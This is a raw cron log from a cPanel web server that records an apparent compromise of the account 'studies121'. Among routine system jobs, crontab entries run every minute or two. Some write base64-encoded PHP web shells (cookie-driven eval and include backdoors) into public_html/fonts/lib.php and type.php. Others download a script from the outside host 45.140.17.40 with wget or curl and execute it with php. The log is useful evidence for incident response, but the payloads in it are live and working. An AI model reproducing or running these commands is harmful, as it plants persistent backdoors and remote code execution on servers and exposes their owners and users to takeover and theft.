Sep  9 14:27:01 ip-184-168-122-23 CROND[32394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:27:01 ip-184-168-122-23 CROND[32395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:28:02 ip-184-168-122-23 CROND[32495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:28:02 ip-184-168-122-23 CROND[32494]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:28:02 ip-184-168-122-23 CROND[32497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:28:02 ip-184-168-122-23 CROND[32498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:28:02 ip-184-168-122-23 CROND[32500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:29:01 ip-184-168-122-23 CROND[32694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:29:01 ip-184-168-122-23 CROND[32695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:29:01 ip-184-168-122-23 CROND[32696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:29:01 ip-184-168-122-23 CROND[32698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:30:01 ip-184-168-122-23 CROND[357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:30:01 ip-184-168-122-23 CROND[358]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:30:01 ip-184-168-122-23 CROND[360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:30:01 ip-184-168-122-23 CROND[364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:30:01 ip-184-168-122-23 CROND[363]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 14:30:01 ip-184-168-122-23 CROND[367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:30:01 ip-184-168-122-23 CROND[362]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:30:01 ip-184-168-122-23 CROND[365]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:31:01 ip-184-168-122-23 CROND[490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:31:01 ip-184-168-122-23 CROND[492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:31:01 ip-184-168-122-23 CROND[493]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 14:31:01 ip-184-168-122-23 CROND[495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:31:01 ip-184-168-122-23 CROND[496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:32:01 ip-184-168-122-23 CROND[605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:32:01 ip-184-168-122-23 CROND[607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:32:01 ip-184-168-122-23 CROND[608]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:32:01 ip-184-168-122-23 CROND[609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:32:01 ip-184-168-122-23 CROND[610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:33:01 ip-184-168-122-23 CROND[741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:33:01 ip-184-168-122-23 CROND[739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:33:01 ip-184-168-122-23 CROND[740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:33:01 ip-184-168-122-23 CROND[742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:34:01 ip-184-168-122-23 CROND[912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:34:01 ip-184-168-122-23 CROND[914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:34:01 ip-184-168-122-23 CROND[915]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:34:01 ip-184-168-122-23 CROND[918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:34:01 ip-184-168-122-23 CROND[919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:35:01 ip-184-168-122-23 CROND[1031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:35:01 ip-184-168-122-23 CROND[1034]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 14:35:01 ip-184-168-122-23 CROND[1036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:35:01 ip-184-168-122-23 CROND[1037]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:35:01 ip-184-168-122-23 CROND[1038]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:35:01 ip-184-168-122-23 CROND[1040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:35:01 ip-184-168-122-23 CROND[1041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:35:01 ip-184-168-122-23 CROND[1039]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 14:36:01 ip-184-168-122-23 CROND[1152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:36:01 ip-184-168-122-23 CROND[1155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:36:01 ip-184-168-122-23 CROND[1154]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:36:01 ip-184-168-122-23 CROND[1156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:36:01 ip-184-168-122-23 CROND[1161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:37:02 ip-184-168-122-23 CROND[1252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:37:02 ip-184-168-122-23 CROND[1254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:37:02 ip-184-168-122-23 CROND[1257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:37:02 ip-184-168-122-23 CROND[1259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:38:01 ip-184-168-122-23 CROND[1352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:38:01 ip-184-168-122-23 CROND[1353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:38:01 ip-184-168-122-23 CROND[1357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:38:01 ip-184-168-122-23 CROND[1358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:38:01 ip-184-168-122-23 CROND[1356]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:39:01 ip-184-168-122-23 CROND[1517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:39:01 ip-184-168-122-23 CROND[1522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
